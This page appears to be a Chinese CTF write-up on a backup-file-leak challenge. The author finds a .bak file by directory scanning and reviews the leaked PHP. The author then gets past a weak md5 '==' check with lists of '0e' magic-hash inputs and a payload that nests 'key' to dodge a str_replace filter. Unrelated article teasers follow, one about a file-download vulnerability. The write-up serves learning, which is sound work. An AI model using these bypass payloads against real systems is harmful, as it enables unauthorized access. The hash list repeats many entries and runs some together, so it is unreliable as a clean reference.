当前位置：首页 > news >正文

备份是个好习惯

news 来源：原创 2025/7/4 4:18:30

##解题思路

首先看到题目说备份是个好习惯，说明可能存在备份文件泄露

用dirsearch或者其他的目录扫描工具扫一扫，发现两个网址状态码正常，其中一个刚好是.bak的备份文件

至于flag文件，无法读取源码，都是空的

下载备份文件后，得到一串后端的逻辑

逻辑如下：

用 include_once 语句包含 "flag.php" 文件。该文件应包含变量 $flag，用于存储标志（flag）

ini_set函数表示将 PHP 的错误显示设置为 0，即不显示错误信息

代码从 $_SERVER['REQUEST_URI'] 中获取 URL 的参数部分，去掉第一个字符 ?

用 str_replace 函数将参数中的 ’key’ 替换为空字符串。接着使用 parse_str 函数将参数解析为变量。

用 md5 函数对 $key1 和 $key2 进行哈希运算，并通过echo语句输出结果。

用条件语句判断 $key1 和 $key2 的哈希值是否相等，且 $key1、$key2不相等。
如满足条件，则通过 echo 语句输出 $flag 变量的值和一段文字

<?php
/*** Created by PhpStorm.* User: Norse* Date: 2017/8/6* Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){echo $flag."取得flag";
}
?>

那么知道规则了就应该知道怎么绕过了，这就需要用到php的弱类型比较，这里是网上常见的输入值和md5值

纯数字类：
s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020大写字母类：
QLTHNDT
0e405967825401955372549139051580QNKCDZO
0e830400451993494058024219903391EEIZDOI
0e782601363539291779881938479162TUFEPMC
0e839407194569345277863905212547UTIPEZQ
0e382098788231234954670291303879UYXFLOI
0e552539585246568817348686838809IHKFRNS
0e256160682445802696926137988570PJNPDWY
0e291529052894702774557631701704ABJIHVY
0e755264355178451322893275696586DQWRASX
0e742373665639232907775599582643DYAXWCA
0e424759758842488633464374063001GEGHBXL
0e248776895502908863709684713578GGHMVOE
0e362766013028313274586933780773GZECLQZ
0e537612333747236407713628225676NWWKITQ
0e763082070976038347657360817689NOOPCJF
0e818888003657176127862245791911MAUXXQC
0e478478466848439040434801845361MMHUWUV
0e701732711630150438129209816536

接下来就是自由组合环节，随便哪个payload都可以kkeyey1=s878926199a&kkeyey2=s155964671a

备份是个好习惯

##解题思路首先看到题目说备份是个好习惯，说明可能存在备份文件泄露用dirsearch或者其他的目录扫描工具扫一扫，发现两个网址状态码正常，其中一个刚好是.bak的备份文件至于flag文件，无法读取源码，都是空的下载备份…...

编程日记 2025/7/4 4:18:30

centos 7 LVM管理命令

物理卷（PV）管理命令 pvcreate：用于将物理磁盘分区或整个磁盘创建为物理卷。示例：sudo pvcreate /dev/sdb1 解释：将 /dev/sdb1 分区创建为物理卷。 pvdisplay：显示物理卷的详细信息，如大小、所属…...

编程日记 2025/6/28 4:52:49

使用 Spring Boot 3.2 集成 MinIO 8.5：实现高效对象存储

摘要 MinIO 是一款高性能的分布式对象存储服务，与云原生应用完美契合。本文将手把手教你如何在 Spring Boot 3.2 项目中集成 MinIO 8.5 版本，实现文件上传、下载和删除等核心功能，并提供完整代码示例和常见问题解决方案。一、环境准备 JDK …...

编程日记 2025/7/4 3:22:53

【Qt】数据库管理

数据库查询工具开发学习笔记一、项目背景与目标背景：频繁编写数据库查询语句，希望通过工具简化操作，提升效率。二、总体设计思路 1. 架构设计 MVC模式：通过Qt控件实现视图（UI），业务逻辑…...

编程日记 2025/7/3 12:20:48

C#：Time.deltaTime

目录第一性原理：从最基本的问题开始什么是Time.deltaTime？ 1. 什么是“帧”？ 2. 什么是“帧率”？ 为什么需要它？ 一个生活化的例子更通俗的类比在Unity中的特殊性第一性原理：从最基本的问题开…...

编程日记 2025/7/3 17:55:21

鸿蒙富文本实践

01 鸿蒙中的文本展示-Text组件 Text 组件的普通用法和其他语言一样，可以直接使用字符串Text(我是一段文本) 通过点语法设置文本样式： Text(我是超长文本，超出的部分显示省略号。I am an extra long text, with ellipses displayed for any ex…...

编程日记 2025/6/29 5:16:57

【字符设备驱动开发–IMX6ULL】（二）Linux 设备号

【字符设备驱动开发–IMX6ULL】（二）Linux 设备号文章目录【字符设备驱动开发–IMX6ULL】（二）Linux 设备号1 设备号的组成2.设备号的分配 1 设备号的组成为了方便管理，Linux 中每个设备都有一个设备号，设…...

编程日记 2025/7/4 3:03:16

Elasticsearch-实战案例

一、没有使用Elasticsearch的查询速度698ms 1.数据库模糊查询不走索引，在数据量较大的时候，查询性能很差。需要注意的是，数据库模糊查询随着表数据量的增多，查询性能的下降会非常明显，而搜索引擎的性能则不会随着数据增…...

编程日记 2025/6/29 15:33:18

电子文档安全管理系统V6.0接口backup存在任意文件下载漏洞

免责声明：本号提供的网络安全信息仅供参考，不构成专业建议。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权，请及时与我联系，我将尽快处理并删除相关内容。漏洞描述电子文档安全管理系统 V6.0 reso…...

编程日记 2025/6/27 12:22:58

下载地址 Apache JMeter - Download Apache JMeter 1. 设置线程组 2. 设置http请求头 3. 设置http请求体 4. 设置结果条目常用函数 ${__RandomString(8, abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)}${__javaScript( ${__Random(1000, 10000)} /…...

编程日记 2025/6/28 5:07:02

FPGA学习篇——Verilog学习之寄存器的实现

1 寄存器理论这里在常见的寄存器种加了一个复位信号sys_rst_n。（_n后缀表示复位信号低电平有效，无这个后缀的则表示高电平有效） 这里规定在时钟的上升沿有效，只有当时钟的上升沿来临时，输出out 才会改变，…...

编程日记 2025/7/4 2:44:15

CXL UIO Direct P2P学习

前言： 在CXL协议中，UIO（Unordered Input/Output） 是一种支持设备间直接通信（Peer-to-Peer, P2P）的机制，旨在绕过主机CPU或内存的干预，降低延迟并提升效率。以下是UIO的核心概念及UI…...

编程日记 2025/7/4 3:03:16

一键实现:谷歌表单转word（formtoword）

一键将 Google Forms 转换为 Word，最简单的方法有些繁琐的工作让人倍感挫败，明明应该可以自动化。你精心制作了一份 Google Forms，收集了数据，现在需要在 Word 文档中分享其结构或内容。于是，你只能手动复制粘贴问…...

编程日记 2025/7/4 3:16:08

QT第六课------QT界面优化------QSS

作者前言 🎂 ✨✨✨✨✨✨🍧🍧🍧🍧🍧🍧🍧🎂 🎂 作者介绍： 🎂🎂 🎂 🎉🎉&#x1f389…...

编程日记 2025/7/4 2:35:51

一套SaaS多租户医疗云his源码，基于云计算的医院信息管理系统（云HIS）

基于云计算的医院信息管理系统（云HIS），通过SaaS服务模式提供。这种云HIS系统设计考虑了模板化、配置化、智能化和可扩展性，覆盖了基层医疗机构的核心工作流程，并且能够与监管系统无缝对接，满足未来的扩展需…...

编程日记 2025/7/4 1:13:35

DGNN-YOLO：面向遮挡小目标的动态图神经网络检测与追踪方法解析

一、算法结构与核心贡献 1.1 文章结构采用经典五段式结构：引言：分析智能交通系统（ITS）中小目标检测与追踪的挑战，提出研究动机。相关工作：综述小目标检测（YOLO系列、Faster R-CNN）、目标追踪（SORT、Transformer）和图神经网络（GNN）的进展。方法论：提出DG…...

编程日记 2025/6/30 12:20:30

淘宝获取商品sku详情API接口如何调用？

以下是调用淘宝开放平台/万邦开放平台获取商品SKU详情API接口的具体步骤和示例： 一、API名称及参数 API名称：taobao.item.sku.get主要功能：获取指定商品SKU的详细信息，包括属性、价格、库存等。关键参数： num_iid&am…...

编程日记 2025/7/4 3:28:27

JavaScript 中的原型链与继承

JavaScript 是一种基于原型的编程语言，这意味着它的对象继承是通过原型链而非类的机制来实现的。原型链是 JavaScript 中对象与对象之间继承属性和方法的基础。本文将深入探讨 JavaScript 中的原型链和继承机制，帮助你理解这一重要概念。一、原型&…...

编程日记 2025/7/4 2:28:41

晶晨S905L3A(B)-安卓9.0-开启ADB和ROOT-支持IPTV6-支持外置游戏系统-支持多种无线芯片-支持救砖-完美通刷线刷固件包

晶晨S905L3A(B)-安卓9.0-开启ADB和ROOT-支持IPTV6-支持外置游戏系统-支持多种无线芯片-支持救砖-完美通刷线刷固件包适用型号：M401A、CM311-1a、CM311-1sa、B863AV3.1-M2、B863AV3.2-M、UNT403A、UNT413A、M411A、E900V22C、E900V22D、IP112H等等晶晨S905L3A(B)处…...

编程日记 2025/6/28 1:25:45

【MYSQL】Windows 下 CMD 操作数据库指南

0. 引言在数据库的日常操作中，掌握通过 Windows 下的命令行工具（CMD）连接并操作数据库是一项重要技能。本指南将带您逐步完成 MYSQL 数据库的基本操作，包括使用 CMD 登录数据库、选择目标数据库、查看所有数据表，以及…...

编程日记 2025/7/2 20:07:44

RK3588,V4l2 读取Gmsl相机, Rga yuv422转换rgb (mmap)

RK3588, 使用V4l2 读取 gmsl 相机，获得yuv422格式图像，使用 rga 转换 rgb 图像。减少cpu占用率. 内存管理方式采用 mmap… 查看相机信息 v4l2-ctl --all -d /dev/cam0 , 查看自己相机分辨率，输出格式等信息,对应修改后续代码测试… Driver Info:Driver name : rkcif…...

编程日记 2025/7/1 20:19:52

【多线程】单例模式和阻塞队列

目录一.单例模式 1. 饿汉模式 2. 懒汉模式二.阻塞队列 1. 阻塞队列的概念 2. BlockingQueue接口 3.生产者-消费者模型 4.模拟生产者-消费者模型一.单例模式单例模式（Singleton Pattern）是一种常用的软件设计模式，其核心思想是确保…...

编程日记 2025/6/28 1:42:31

批量将 PDF 文档中的图片提取到指定文件夹

在 PDF 文档中，我们经常需要插入图片来丰富页面内容。然而，当我们需要提取 PDF 文件中的图片时，手动操作会显得非常繁琐。通常我们需要逐页打开 PDF，手动保存每一张图片，这不仅耗时，而且浪费精力。今天&…...

编程日记 2025/7/1 4:41:31

在bootstrap下实现万年历

因为开一个易经学习平台，开发了一个万年历，界面如下： 效果可以看：易学相关代码： <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name&qu…...

编程日记 2025/7/2 21:37:59

基于python大数据的旅游可视化及推荐系统

博主介绍：java高级开发，从事互联网行业六年，熟悉各种主流语言，精通java、python、php、爬虫、web开发，已经做了六年的毕业设计程序开发，开发过上千套毕业设计程序，没有什么华丽的语言&#xff0…...

编程日记 2025/7/1 1:16:06

DeepSeek绘画工程与第三方通道整合架构解析

DeepSeek绘画工程与第三方通道整合架构解析目录系统架构设计技术实现细节核心功能模块创新点与优化策略运行效果展示总结与展望一、系统架构设计 1.1 整体架构图（Mermaid） #mermaid-svg-EcuBlWPPCbUHg0gx {font-family:"trebuchet ms",v…...

编程日记 2025/6/28 1:25:26

单元测试的编写

Python 单元测试示例在 Python 中，通常使用 unittest 模块来编写单元测试。以下是一个简单的示例： 示例代码：calculator.py # calculator.py def add(a, b):return a bdef subtract(a, b):return a - b 单元测试代码：test_c…...

编程日记 2025/6/28 3:58:10

附录C SLAC匹配过程命令定义与实际抓包

附录C SLAC匹配过程命令定义与实际抓包 ISO15118-3 附录A中规定了SLAC匹配过程中的请求命令及应答， 本文将会对比协议中的定义和实际抓包内容，以便读者获得直观的认识。 1 CM_SET_KEY.REQ 定义内容： 实际数据： 注意报文中的 08…...

编程日记 2025/7/1 23:56:41

数据结构 KMP 字符串匹配算法

KMP算法是计算机科学中的一种字符串匹配算法，KMP是三个创始人名字首字母题目 AcWing - 算法基础课前置知识点 KMP算法是一种高效的字符串匹配算法，算法名称取自于三位共同发明人名字的首字母组合。该算法的主要使用场景就是在字符串（也叫…...

编程日记 2025/6/28 4:24:26

从零构建大语言模型全栈开发指南：第三部分：训练与优化技术-3.3.2参数高效微调：LoRA与适配器（Adapter）技术

👉 点击关注不迷路 👉 点击关注不迷路 👉 点击关注不迷路文章大纲从零构建大语言模型全栈开发指南 -第三部分：训练与优化技术-3.3.2 参数高效微调：LoRA与适配器（Adapter）技术1. 参数高效微调（PEFT）的背景与意义2. LoRA（低秩适配器）技术详解2.1 核心原理与数学表…...

编程日记 2025/7/2 23:52:48

YOLOv8-YOLO12目标检测模型的标签格式和数据结构详细说明

《------往期经典推荐------》一、AI应用软件开发实战专栏【链接】项目名称项目名称1.【人脸识别与管理系统开发】2.【车牌识别与自动收费管理系统开发】3.【手势识别系统开发】4.【人脸面部活体检测系统开发】5.【图片风格快速迁移软件开发】6.【人脸表表情识别系统】7.【…...

编程日记 2025/7/3 17:44:04

从零开始学习SQL

1.1 MySQL概述 1. 数据管理技术的发展过程数据库技术是应数据管理任务的需要而产生的 a. 什么是数据管理 ** 对数据进行收集、分类、组织、编码、存储、检索和维护一系列活动的总和 **b. 数据管理技术的发展过程人工管理阶段（20世纪50年代中之前）…...

编程日记 2025/6/28 1:31:44

北斗导航｜基于因子图优化的GNSS/INS组合导航完好性监测算法研究，附matlab代码

以下是一篇基于因子图优化（FGO）的GNSS/INS组合导航完好性监测算法的论文框架及核心内容，包含数学模型、完整Matlab代码及仿真分析基于因子图优化的GNSS/INS组合导航完好性监测算法研究摘要针对传统卡尔曼滤波在组合导航完好性监测中对非线性与非高斯噪声敏感的问题，本文…...

编程日记 2025/6/28 1:25:39

深入剖析 JVM：从组成原理到调优实践

深入剖析 JVM：从组成原理到调优实践深入剖析 JVM：从组成原理到调优实践一、JVM 组成架构：运行 Java 程序的 “幕后引擎”1.1 内存结构：数据存储的 “分区管理”1.2 执行引擎：字节码的 “翻译官”1.3 本地方法接口&…...

编程日记 2025/7/3 13:04:18

rust学习笔记21-闭包

在 Rust 中，闭包（Closures） 是一种可以捕获其环境中的变量的匿名函数。它们非常灵活，既可以作为普通函数使用，也可以捕获和操作定义它们的作用域中的变量。闭包是 Rust 中处理短小逻辑代码块的强大工具，特别…...

编程日记 2025/7/3 18:18:23

Redis常见面试问题汇总

Redis 面试笔记整理一、Redis 基础知识1. Redis 概述Redis 是什么？主要特点有哪些？Redis 和 Memcached 的区别是什么？Redis 是单线程还是多线程？为什么单线程还能高效？Redis 6.0 之后的多线程模型是怎样的&#xff1f…...

编程日记 2025/7/3 19:14:45

网络安全中的“后门”：概念、类型、作用与攻防技术

目录什么是后门？ 后门的常见类型 2.1 按植入方式分类 2.2 按功能分类后门在安全测试中的作用后门的玩法与免杀技术 4.1 常见后门技术 4.2 如何实现免杀（Bypass AV） 如何检测和防御后门？ 总结 1. 什么是后门&#xff…...

编程日记 2025/7/1 8:05:33

AIGC1——AIGC技术原理与模型演进：从GAN到多模态融合的突破

引言近年来，人工智能生成内容（AIGC）技术迅速发展，从早期的简单文本生成到如今能够创作高质量图像、视频甚至3D内容，其核心驱动力在于生成模型的持续优化与多模态融合技术的突破。本文将探讨生成对抗网络（…...

编程日记 2025/6/30 20:04:15

Python爬虫-爬取大麦网演出详情页面数据

前言本文是该专栏的第50篇，后面会持续分享python爬虫干货知识，记得关注。本文，笔者以大麦网平台为例。基于Python，实现获取演出详情页面的演出信息。废话不多说，具体实现思路和详细逻辑，笔者将在正文结合完整代码进行详细介绍。接下来，跟着笔者直接往下看正文详细内…...

编程日记 2025/6/29 12:10:21

opencv图像处理之指纹验证

一、简介在当今数字化时代，生物识别技术作为一种安全、便捷的身份验证方式，正广泛应用于各个领域。指纹识别作为生物识别技术中的佼佼者，因其独特性和稳定性，成为了众多应用场景的首选。今天，我们就来深入探讨如何利…...

编程日记 2025/6/28 6:46:13

玛卡巴卡的k8s知识点问答题（五）

17. Init 类型容器有什么特点，主要用途？ 特点： 启动顺序：Init 容器在普通容器启动之前运行，必须先完成所有 Init 容器后，Pod 的主容器才会启动。顺序执行：如果定义了多个 Init 容器&#xff…...

编程日记 2025/6/28 3:15:58

怎样提升大语言模型（LLM）回答准确率

怎样提升大语言模型（LLM）回答准确率目录怎样提升大语言模型（LLM）回答准确率激励与规范类知识关联类情感与语境类逆向思维类：为什么不，反面案例群体智慧类明确指令类示例引导类思维引导类约束限制类反馈交互类：对话激励与规范类给予奖励暗示：在提示词中暗示模型如果回…...

编程日记 2025/6/28 3:09:49

CSP-J2022 山东题解

[CSP-J2022 山东] 植树节题目背景受疫情影响，山东省取消了 CSP-J 2022 认证活动，并于次年三月重新命题，在省内补办比赛。题目描述植树节快要到了，学校要组织志愿者去给树苗浇水。有一排树苗，编号依次是 0 ,…...

编程日记 2025/7/1 8:06:53

strcpy和strncpy和strcat和strncat和strstr和strtok函数使用及实现

目录 strcpy和strncpy函数的原理及实现 strcpy函数 my_strcpy优化代码函数返回值的疑惑 strncpy函数 strncpy自定义完整代码字符串追加函数 strcat和strncat strcat函数讲解和使用过程解析 strcat代码 strcat无法给自己追加 strncat函数讲解和使用过程解…...

编程日记 2025/6/28 1:27:48

前端开发使用若依的优势

若依（RuoYi）前端框架是基于主流技术栈（如Vue.js或React）构建的企业级前端解决方案，其优势主要体现在以下几个方面： 1. 开箱即用的企业级功能权限管理：集成动态路由、按钮级权限控制（RBAC模型），适配后台权限系统，无需重复开发。多标签页：支持类似浏览器的多标签页操…...

编程日记 2025/6/28 1:29:06

网络空间安全（44）Web实战篇

一、Web应用程序安全防护输入验证严格验证用户输入：对所有用户输入的数据进行合法性检查，防止恶意用户通过输入恶意数据攻击应用程序。验证应包括对表单数据、URL参数、Cookie等进行检查，确保输入的数据符合预期格式和范围。使用安全的编码…...

编程日记 2025/7/1 19:51:55

python列表常用方法大全

列表（List）是 Python 中最常用的数据结构之一，它是一个有序、可变的集合，可以存储任意类型的元素。以下是列表的定义及常见用法，包括拼接、增加数据、插入数据、删除数据、计算差值、相加、清空等操作，与字…...

编程日记 2025/6/30 20:04:49

Warm-Flow过去、现在和未来都不会有商业版

Warm-Flow过去、现在和未来都不会有商业版 Warm-Flow从24年2月加入Dromara开源社区，也正是由于加入他，Warm-Flow才等到更多人的关注和帮助。同时吸引了不少贡献者，有的也成为了Warm-Flow的成员。因此为了回馈大家，也是为了War…...

编程日记 2025/7/3 1:22:16

3. 实战（一）：Spring AI Trae ，助力开发微信小程序

1、前言前面介绍了Spring boot快速集成Spring AI实现简单的Chat聊天模式。今天立马来实战一番，通过Trae这个火爆全网的工具，来写一个微信小程序。照理说，我们只是极少量的编码应该就可以完成这项工作。开撸~ 2、需求描述微信小程序实现一…...

编程日记 2025/7/1 9:16:28

3.23周赛补题

感觉还要多练，有的题思路不难，但是赛时就没思路。 A const int N110,M1e410; int dp[N][M]; void solve(){int n,m;cin>>n>>m;vector<int>a(n1);forr(i,1,n){cin>>a[i];}dp[0][0]1;//没钱没菜就是一种情况forr(i,1,n){refor…...

编程日记 2025/6/28 4:39:43

##解题思路

相关文章：